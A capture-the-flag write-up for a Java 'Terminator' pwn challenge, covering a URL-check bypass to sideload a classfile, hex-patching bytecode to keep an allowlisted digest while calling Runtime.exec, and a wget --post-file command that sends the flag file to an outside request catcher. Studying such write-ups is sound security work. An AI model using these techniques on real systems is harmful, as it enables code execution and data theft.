I heard supply-chain security is all the rage now, after a weird XY problem. Not sure what they were up about, but I was probably not asking the correct questions… Undeterred, I went shopping in some poor PhD student’s lab and found this lovely contraption, ending this problem once and for all: As soon as evil code will be executed, your VM will be killed mercilessly.
I even built a really cute application for cooking up your cyber recipes to try it out!
This challenge is a bit picky, random variations in the codepaths your JVM takes can make it crash. If it accepts your malicious data, it will likely work on the remote.
Category: pwn
Solver: lukasrad02, 3mb0, nh1729
Flag: GPNCTF{a-shame-javac-is-normally-so-conservative-with-its-stack_b147c172b0da0e}
Scenario
After last year’s great dot-shortage challenge, this challenge continues the series of challenges for those who absolutely love to dig around in the Java ecosystem. Hopefully, there will be also one next year – if there is Terminator 1, what about Terminator 21?
But let’s focus on the actual challenge as we’ve quite a lot of work to do! For the challenge, we are given an archive with a Dockerfile, a JAR file and a text file.
The Dockerfile looks pretty simple. It copies the JAR and the text file into the image, writes the flag into a file and launches the Java app. The text file only contains a list of about 2500 SHA-1 hashes.
Additionally, we’re able to spawn a remote instance of the challenge to get some quick overview of what the Java program does. We end up with a web-based tool that offers some basic string operations.
Analysis
Step 1: The Dockerfile
We’ve claimed that the Dockerfile is simple. Nevertheless, there are two interesting aspects. First, we do not know the file name of the flag file, as it is constructed by the following expression: flag-$(md5sum flag.txt | awk '{print $1}').txt
. This might make reading the flag a bit harder than if we could use a hardcoded filename. Second, there are some additional parameters passed to the JRE when running the the JAR:
ENTRYPOINT [ \
"java", \
"--enable-preview", \
"-javaagent:/terminator.jar", \
"-jar", \
"/terminator.jar", \
"http://localhost:8080"]
--enable-preview
enables preview features of the runtime environment. Parts of the “agent” code we will see later depend on these features. -javaagent
is used to “[load] the specified Java programming language agent”. The java
man page does not seem to be cooperative with us ☹️. But at least, it refers us to java.lang.instrument
. The respective documentation is a bit more talkative:
Provides services that allow Java programming language agents to instrument programs running on the Java Virtual Machine (JVM).
[…]
Agents can transform classes in arbitrary ways at load time, transform modules, or transform the bytecode of methods of already loaded classes.
[…]
The main manifest of the agent JAR file must contain the attribute Premain-Class. The value of this attribute is the binary name of the agent class in the JAR file. The JVM starts the agent by loading the agent class and invoking its premain method.
To sum it up: The “agent” is a class designated by the metadata of the JAR file that can interfere with the execution of the actual application. Thinking back to the challenge description, this might be how “As soon as evil code will be executed, your VM will be killed mercilessly” is realized in this challenge.
Let’s have a look at the agent code!
Step 2: The Terminator
To do this, we can use the tool jadx, a Java decompiler. Opening the JAR in jadx presents us with a view like this:
In the screenshot, we have already opened the manifest file from the JAR. It tells us that the “Premain-Class” is de.kitctf.gpnctf24.terminator.Terminator
, so we continue with this class.
public static void premain(String args, Instrumentation instrumentation) {
log("Initializing...");
crackEgg(instrumentation);
boolean tracingMode = args != null && args.contains("trace");
instrumentation.addTransformer(new TerminatorTransformer(tracingMode, readAllowedDigests()), true);
if (tracingMode && args.contains("save-trace")) {
Runtime.getRuntime().addShutdownHook(Thread.ofPlatform().unstarted(() -> {
try {
List<String> lines = new ArrayList<>(ENCOUNTERED_DIGESTS);
lines.sort(null);
Files.write(DIGESTS_PATH, lines, new OpenOption[0]);
} catch (IOException e) {
throw new RuntimeException(e);
}
}));
}
log("Initialization sequence completed");
}
The code snippet above shows the premain
method from the Terminator
class. That method will be called when the agent is loaded. There are three interesting things this code does:
- If the args passed to the agent contain
trace
, it enables tracing mode. We will learn more about this later on. - In tracing mode, we can additionally enable
save-traces
, that writes data from a list to thedigests.txt
file. - A
TerminatorTransformer
is added to the instrumentation. A transformer is a class that intercepts all class file loads2. TheTerminatorTransformer
receives the digests from the digests file and whethertrace
is enabled.
The rest of the Terminator
agent class only contains helper methods and boilerplate code, so we can continue with the TerminatorTransformer
. These are its important methods:
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
ClassModel model = ClassFile.of().parse(classfileBuffer);
onDetected(className, ClassUtil.classDigest(model));
return classfileBuffer;
}
private void onDetected(String className, String digest) {
Terminator.ENCOUNTERED_DIGESTS.add(digest);
if (this.tracingMode) {
Terminator.log("Digest for %s: %s".formatted(className, digest));
} else if (!this.allowed.contains(digest)) {
Terminator.log("\u001b[31mDetected intrusion attempt with \u001b[32m%s\u001b[0m\n Digest: %s".formatted(className, digest));
System.exit(2);
}
}
The transform
method is called for every class file load. It computes a custom digest of the classfile and passes it to the onDetected
method. That method memorizes the digest and checks it against the list from the file. If the digest is not part of the list, the program will be stopped immediately, except if it is in tracing mode. In tracing mode, the digest is only logged to stderr.
Before we get lost in the details of the digest computation, let’s take at look at the implementation of the actual features first.
Step 3: The Webserver
We forget about all these weird Java Agent stuff for a while and jump over to the implementation of the string manipulation features we saw in the screenshot from the beginning.
The code of the main
method is shown below. We have added some comments for better understanding.
public static void main(String[] args) throws Exception {
// Setup
System.err.println("Usage: <this program> <base url>");
String baseUrl = args[0];
HttpClient httpClient = HttpClient.newHttpClient();
LOGGER.info("Running on '{}'", getHostname());
// Webserver
Javalin.create().get("/", context -> {
// GET /
// Serve index page as shown in the screenshot
context.contentType(ContentType.TEXT_HTML);
context.result((InputStream) Objects.requireNonNull(Main.class.getResourceAsStream("/index.html")));
}).post("/process", context2 -> {
// POST /process
System.out.println("processing");
try {
// Parse request
ProcessRequest request = new ProcessRequest(context2.formParam("method"), context2.formParam("payload"));
System.out.println("Got request: " + String.valueOf(request));
// Fetch requested plugin
HttpResponse<byte[]> data = httpClient.send(HttpRequest.newBuilder(URI.create(request.fixedMethod(baseUrl))).GET().build(), HttpResponse.BodyHandlers.ofByteArray());
if (data.statusCode() != 200) {
throw new BadRequestResponse("Plugin did not yield valid data");
}
// Invoke plugin with user input
Plugin plugin = new PluginLoader().instantiatePlugin((byte[]) data.body());
context2.contentType(ContentType.TEXT_PLAIN).result(plugin.process(request.payload()));
} catch (Throwable e) {
throw new BadRequestResponse("Error: " + e.getMessage());
}
}).get("/plugin/{name}", context3 -> {
// GET /plugin/{name}
// Host some plugins that are bundled with the application
InputStream resource = PluginLoader.getPlugin(context3.pathParam("name"));
if (resource == null) {
throw new NotFoundResponse();
}
context3.result(resource).contentType(ContentType.APPLICATION_OCTET_STREAM).status(HttpStatus.OK);
}).start(8080);
}
To sum it up, there are three routes:
GET /
: Serves the static landing pagePOST /process
: Handles requests by loading the requested plugin and processing the input with itGET /plugin/{name}
: Serves the plugins that can be selected
The first and third route do nothing special. But the second one is interesting for various reasons. To load a plugin, its URL is constructed by ProcessRequest.fixedMethod()
:
public String fixedMethod(String baseUrl) {
String finalUrl = method();
for (String knownMethod : Main.KNOWN_METHODS) { // KNOWN_METHODS = List.of("Capitalize", "Base64", "IsEmail", "LowerCase", "Rot13", "UpperCase");
finalUrl = finalUrl.replace(knownMethod, baseUrl + "/plugin/" + knownMethod);
}
if (!finalUrl.contains(baseUrl)) { // baseUrl = args[0]; (set to "http://localhost:8080" in the Dockerfile)
throw new BadRequestResponse("Invalid URL");
}
return finalUrl;
}
The output from that method is then used ot fetch the classfile of the plugin via HTTP. What stuck out to us is that, no matter whether the method is known or not, the URL must contain the baseUrl
. It seems like this is supposed to forbid sideloading of classfiles. Unfortunately, this check is not sufficient. For example, http://example.com/classfile
would be rejected, but http://example.com/http://localhost:8080/classfile
won’t. Still, the second URL is completely valid and can point to a server that is under attacker control.
Apart from this weakness, it does not make sense that the application uses HTTP to load plugins at all, as new PluginLoader().instantiatePlugin(/* bytes from HTTP */)
could simply replaced by new PluginLoader().instantiatePlugin(PluginLoader.getPlugin(/* plugin name */))
, as the getPlugin()
method is already implemented.
From our current perspective, we could simply write some malicious Java code that implements the Plugin
interface, compile it into a classfile, serve it via HTTP and then craft an HTTP request that references that classfile as method.
The only thing that prevents us from doing this is the Terminator component that checks all loaded classfiles. So now it’s time to dig into the digest generation.
Step 4: Digest Computation
To compute the digest, ClassUtil.classDigest()
is called. As this method utilizes some more methods from the class to compile all necessary information for the digest, here is the complete ClassUtil
code:
public class ClassUtil {
private static final MethodHandle BUF_WRITER_CONS;
static {
try {
Class<?> bufWriterCls = Class.forName("jdk.internal.classfile.impl.BufWriterImpl");
Constructor<?> constructor = (Constructor) Arrays.stream(bufWriterCls.getConstructors()).filter(it -> {
return it.getParameterCount() == 2;
}).findAny().orElseThrow();
BUF_WRITER_CONS = MethodHandles.lookup().unreflectConstructor(constructor);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
public static BufWriter newWriter(ClassModel model) {
try {
return (BufWriter) BUF_WRITER_CONS.invoke(ConstantPoolBuilder.of(model), null);
} catch (Throwable e) {
throw new RuntimeException(e);
}
}
public static ByteBuffer classBytes(ClassModel model) throws IOException {
List<ByteBuffer> buffers = new ArrayList<>();
List<MethodModel> methods = new ArrayList<>(model.methods());
methods.sort(new Comparator<MethodModel>() { // from class: de.kitctf.gpnctf24.terminator.ClassUtil.1
@Override // java.util.Comparator
public int compare(MethodModel o1, MethodModel o2) {
return o1.methodName().stringValue().compareTo(o2.methodName().stringValue());
}
});
for (MethodModel method : methods) {
buffers.add(methodToBytes(model, method));
}
List<FieldModel> fields = new ArrayList<>(model.fields());
fields.sort(new Comparator<FieldModel>() { // from class: de.kitctf.gpnctf24.terminator.ClassUtil.2
@Override // java.util.Comparator
public int compare(FieldModel o1, FieldModel o2) {
return o1.fieldName().stringValue().compareTo(o2.fieldName().stringValue());
}
});
for (FieldModel field : fields) {
buffers.add(fieldToBytes(field));
}
for (PoolEntry poolEntry : model.constantPool()) {
buffers.add(ByteBuffer.allocate(1).put(poolEntry.tag()).rewind());
buffers.add(ByteBuffer.allocate(4).putInt(poolEntry.index()).rewind());
buffers.add(ByteBuffer.allocate(4).putInt(poolEntry.width()).rewind());
}
int capacity = 0;
for (ByteBuffer byteBuffer : buffers) {
capacity += byteBuffer.capacity();
}
ByteBuffer summed = ByteBuffer.allocate(capacity);
for (ByteBuffer buffer : buffers) {
summed.put(buffer);
}
return summed;
}
private static ByteBuffer methodToBytes(ClassModel model, MethodModel method) throws IOException {
BufWriter writer = newWriter(model);
ByteArrayOutputStream out = new ByteArrayOutputStream();
DataOutputStream dataOut = new DataOutputStream(out);
dataOut.writeBytes(method.methodName().stringValue());
dataOut.writeBytes(method.methodType().stringValue());
dataOut.writeInt(method.flags().flagsMask());
dataOut.writeBytes(method.methodTypeSymbol().displayDescriptor());
for (Attribute<?> attribute : method.attributes()) {
attribute.writeTo(writer);
}
out.writeBytes(writer.asByteBuffer().array());
return ByteBuffer.wrap(out.toByteArray());
}
private static ByteBuffer fieldToBytes(FieldModel field) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
DataOutputStream dataOut = new DataOutputStream(out);
dataOut.writeBytes(field.fieldName().stringValue());
dataOut.writeBytes(field.fieldType().stringValue());
dataOut.writeBytes(field.fieldTypeSymbol().descriptorString());
dataOut.writeInt(field.flags().flagsMask());
return ByteBuffer.wrap(out.toByteArray());
}
public static String classDigest(ClassModel model) {
try {
ByteBuffer byteBuffer = classBytes(model);
byte[] digest = MessageDigest.getInstance("SHA-1").digest(byteBuffer.array());
return HexFormat.of().formatHex(digest);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
Going through this step-by-step, we can learn the following things:
- Method
classDigest()
: AByteBuffer
is filled with information from the classfile. The final digest is the SHA-1 hash of these bytes. - Method
classBytes()
: The bytes are compiled from class methods, fields and the constant pool. To prevent ambiguity, methods and fields are sorted alphabetically. - Method
methodToBytes()
: For each method, we use its name, type, flags, method type symbol, and attributes. You might not know what some of these properties are and neither did we. This lead to some failed approaches that we will discuss shortly. - Method
fieldToBytes()
: For each field, we use its name, type, flags, and field type symbol. Again, there are some things we don’t know about. - Method
classBytes()
: For each entry from the constant pool, we use its tag, index, and width.
We considered the constant pool most interesting, as we haven’t heard about it before, while all the properties from the methods and fields sounded like parts from their signatures that would be rather easy to craft correctly.
We found a pretty good description at https://www.baeldung.com/jvm-constant-pool. TL;DR: The constant pool of a Java classfile is a symbol table that contains things such as class, method, and variable names. The bytecode can then reference entries from the pool in its instructions (e.g., call the method with the name from index #42 in the constant pool).
The article even tells us about tags and indices: An entry’s tag defines its data type (e.g., string or int) and the index is just its (1-based) position in the pool. For the width, we consulted the Java documentation and found out that it describes “the number of constant pool slots this entry consumes”. Again, not the most helpful information from the docs – how big is a slot? By some testing, we found out that the slots are at least large enough that strings always have the same width, no matter whether they contain only a few or over hundred characters. Hence, we can freely choose the contents of the entries, as long as the data types stay the same. This was sufficient for us to start our first approach on crafting a malicious class file.
First Approach
In this section, we take you on a tour of how we tried to craft our first exploit, which turned out to be based on false assumptions. Feel free to skip over to the next section.
Based on our findings, we wanted to write some Java code that – when compiled to a class file – results in the same amount of entries with the same data types in the constant pool. We didn’t pay any special attention at the methods and fields. None of the included plugin classes had fields or methods except of the process()
method we need to implement anyways, so this part of the bytes used for the digest should always match.
To gain access to the flag, the easiest way seems to be Runtime.getRuntime().exec()
with a command of our choice. Fortunately, the application already contains such a call and therefore, the digest of the Runtime
class is part of the allowlist.
Now, we need a plugin with a similar structure. From the perspective of the decompiled source code, Base64
and IsEmail
look promising, the other ones are either to simple (just one method call on the input string in UpperCase
and LowerCase
) or to complex (loops or iterators in Rot13
and Capitalize
).
public class Base64 implements Plugin {
@Override
public String process(String input) throws Exception {
return java.util.Base64.getMimeEncoder().encodeToString(input.getBytes(StandardCharsets.UTF_8));
}
}
public class IsEmail implements Plugin {
@Override
public String process(String input) throws Exception {
Pattern pattern = Pattern.compile("[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}");
boolean matches = pattern.matcher(input).matches();
if (matches) {
return "YES :)";
}
return "NO :(";
}
}
To inspect the constant pools, we can use javap -v <classfile>
. So, during the CTF we started writing our exploit code and noticed that we won’t be able to match the constant pool of the Base64
class with acceptable effort. But by blowing up our exploit code a bit, we can match the IsEmail
class. Compiling
package de.kitctf.gpnctf24.terminator.plugins;
public class Simple implements Plugin {
public String process(String input) throws Exception {
String s = "<command to read flag and send it to us>";
Runtime.getRuntime().exec(s);
String hope = String.valueOf(0);
String yes = "YES";
String no = "NO";
return no;
}
}
with javac -g Simple.java Plugin.java
produces a Simple.class
file with exactly the same sequence of data types in the constant pool as IsEmail.class
(extracted from the JAR). -g
enables debugging symbols, as the JAR from the challenge has been compiled with debug symbols and these symbols are also part of the constant pool. Plugin.java
contains the code of the Plugin
interface, copied from the decompiled JAR.
The screenshot below shows a comparison of the pools of IsEmail
(left) and Simple
(right). Keep in mind that the values (rightmost column) don’t matter, just the columns next to the =
sign.
So now we can check the digest. To do this, we can utilize the trace
mode we have seen in the analysis of the Terminator
class. It can be enabled by appending =trace
to the -javaagent:/terminator.jar
line in the Dockerfile (keep in mind to rebuild the image).
First, we request the original IsEmail
plugin to see its digest:
[TERMINATOR] Digest for de/kitctf/gpnctf24/terminator/plugins/IsEmail: 6af82b5eef1c390c694996909a7d48e47a2c5eca
Then, we have to place the classfile on some HTTP server so that the application can access it. We were using python -m http.server 12346
on one of our own servers for this. It is important that the webroot contains a directory http:
, which in turn contains a directory localhost:8080
, which then contains our classfile:
.
└── http:
└── localhost:8080
└── Simple.class
This way, a request to http://lukasradermacher.de:12346/http://localhost:8080/Simple.class
provides the classfile, while satisfying the finalUrl.contains(baseUrl)
check we have discussed during the analysis of the webserver.
Now, we use the devtools of our browser to edit the request and specify the following POST body:
payload=dummy&method=http://lukasradermacher.de:12346/http://localhost:8080/Simple.class
We check the digest and… It did not work.
[TERMINATOR] Digest for de/kitctf/gpnctf24/terminator/plugins/Simple: 20c8be3768279bb70ed9c51375b2eb06b56d1721
At this point during the CTF, we had been stuck for quite a while, until we attached a debugger to the digest computation code to check what parts of the byte sequence differ. The constant pools were fine, just as expected. The difference was in the byte sequences generated from the methods. This way, we found out that method attributes in this context are neither referring to stuff such as @Override
(called “Annotations” in Java, but “Attributes” in C#, which I’m more familiar with), nor are they a synonym for “fields”. Instead, “attributes” in the context of Java classfiles are a generic data structure that can hold various data3. Among the attributes of a method, there is one attribute that holds the actual bytecode of the message. And this finally allowed us to solve the challenge.
Crafting a Malicious Classfile
Remember what we’ve said above: The Java bytecode consists of operations that reference values from the constant pool. We may change the values in the constant pool, as long as the data types stay the same. But we must not change the operations themselves. Hence, let’s take a look at the Smali code of the IsEmail
class.
Smali
Smali is the “assembler of Java”, a human readable, 1:1 representation of Java bytecode. We can toggle the view in jadx between Java and Smali using the toolbar below the code frame.
.method public process(Ljava/lang/String;)Ljava/lang/String;
.throw java/lang/Exception
.max stack 3
.max locals 4
.local 0 "this" Lde/kitctf/gpnctf24/terminator/plugins/IsEmail;
.local 1 "input" Ljava/lang/String;
.line 10
# Load string literal onto the stack
ldc "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}"
# Call Pattern.compile(). The string from the stack is consumed and the resulting Pattern instance is pushed onto the stack
invokestatic java/util/regex/Pattern compile (Ljava/lang/String;)Ljava/util/regex/Pattern;
astore 2
.local 2 "pattern" Ljava/util/regex/Pattern;
.line 13
aload 2
# Load the method parameter `input` onto the stack
aload 1
# Call pattern.matcher(), consuming the input and pushing a matcher onto the stack
invokevirtual java/util/regex/Pattern matcher (Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;
# Call matcher.matches(), consuming the matcher and pushing a boolean on the stack
invokevirtual java/util/regex/Matcher matches ()Z
istore 3
.local 3 "matches" Z
.line 14
iload 3
# if true
ifeq :L3
.line 15
ldc "YES :)"
areturn
# else
:L3
.line 17
.stack append
java/util/regex/Pattern
int
.end stack
ldc "NO :("
areturn
.end method
This is still quite readable. Nevertheless, we have added some comments for your convenience. Most of the uncommented statements are for debugging purposes, such as mapping variables to stack entries or Java code line numbers to Smali statements.
When calling methods, we have to specify the class name (including the package name, but with slashes instead of dots as separators), the method name and the signature. Data types can be expressed in Smali as follows:
Primitive types are represented by a single capital letter, for example V
for void
, Z
for boolean
or I
for int
. Arrays are prefixed with a [
, so [I
would be an int[]
. Reference types start with L
, followed by the fully-qualified class name and terminated by a ;
. String
in Java would become Ljava/lang/String;
in Smali. Method signatures have the form (<parameters>)<return type>
. The signature of public int add(int a, int b)
in Smali would be (II)I
.
All these class names, method names and data types reside in the constant pool as Utf8 strings, prefixed with their length in bytes. We can simply launch a hex editor and patch the original IsEmail.class
file.
Patching the Classfile
We want to change the following entries:
Original Value | New Value |
---|---|
java/util/regex/Pattern |
java/lang/Runtime |
compile |
getRuntime |
(Ljava/lang/String;)Ljava/util/regex/Pattern; |
()Ljava/lang/Runtime; |
(Ljava/lang/String;)Ljava/util/regex/Pattern; |
()Ljava/lang/Runtime; |
java/util/regex/Pattern (2nd occurrence) |
java/lang/Runtime |
matcher |
exec |
(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher; |
(Ljava/lang/String;)Ljava/lang/Process; |
Keep in mind to adjust the length byte in front of the string too!
Using only these replacements, the resulting classfile is unfortunately not valid: we’re trying to invoke Matcher.matches
with a Process
instance on the stack and there is still the string literal with the Regex pattern on the stack, but the stack must be empty at the end.
Therefore, we need to find a method in the Process
class that takes a String
as input and returns a boolean
(for the following if
statement). There is only one problem: there is no such method. But Object.equals()
fulfills our requirements. If we perform the following additional replacements, we get a valid classfile:
Original Value | New Value |
---|---|
java/util/regex/Matcher |
java/lang/Object |
matches |
equals |
()Z |
(Ljava/lang/Object;)Z |
Our final version looks like this:
Running the Exploit
We can run our exploit as before: Serve our classfile via HTTP, edit the HTTP request and set method
to the URL of our classfile. This time, the digest matches the digest from the original IsEmail
classfile.
There is only one step remaining: We need a command that sends the flag to us. Running commands using Runtime.exec()
is a bit cumbersome and the method has been deprecated for the following reason:
The command string is broken into tokens using only whitespace characters. For an argument with an embedded space, such as a filename, this can cause problems as the token does not include the full filename.
– https://docs.oracle.com/en/java/javase/22/docs/api/java.base/java/lang/Runtime.html#exec(java.lang.String)
In general, we could use the following command to read the flag from the file with the unknown suffix in its name, writes it to another file and then sends this file to a request catcher instance. We’re using wget
because curl
is not available in the container.
bash -c "cat /flag-*.txt > /tmp/flag; wget --post-file=/tmp/flag https://demo.requestcatcher.com"
But the command does not work, since the parser also separates the command string into multiple arguments, ignoring the quotes. However, there are some tricks to remove spaces from shell commands. First, we can omit some spaces, for example around the >
character. All space characters that cannot be omitted can be replaced by ${IFS}
. This is a variable containing all characters the shell should consider separators (for example, when reading multiple values from a single string). By default, it contains a space. We end up with the following command:
bash -c cat${IFS}/flag-*.txt>/tmp/flag;wget${IFS}--post-file=/tmp/flag${IFS}https://demo.requestcatcher.com
As our malicious classfile uses the input
argument passed to the process()
function, we just have to set the payload
POST parameter to this command. A curl
command to send the full POST body to the server is
curl -X POST --data-raw 'payload=bash -c cat${IFS}/flag-*.txt>/tmp/flag;wget${IFS}--post-file=/tmp/flag${IFS}https://demo.requestcatcher.com&method=http://lukasradermacher.de:12346/http://localhost:8080/final.class' https://sweet-dreams-are-made-of-this--kcsc-kc-rebell-7777.ctf.kitctf.de/process
Keep in mind to update the URLs to your request catcher instance, the class file, and of your challenge instance.
Before we run the curl
command, we have to open our request catcher instance in the browser. Then, we can run the command and wait a second until the flag appears.
-
After the CTF ended, there has been a discussion in the
so-many-flags
channel on the official GPN CTF Discord server about whether challenges had internet access or not. A KITCTF member shared an excerpt from their k8s config showing a list of challenges for which internet access has been enabled. This list included aterminator-02
challenge. Terminator 1 had zero solves at the time the last chunk of challenges was released, so part 2 might have been kept back to use it next year… ↩︎ -
https://docs.oracle.com/en/java/javase/22/docs/api/java.instrument/java/lang/instrument/ClassFileTransformer.html ↩︎
-
https://docs.oracle.com/en/java/javase/22/docs/api/java.base/java/lang/classfile/package-summary.html#attributes-heading ↩︎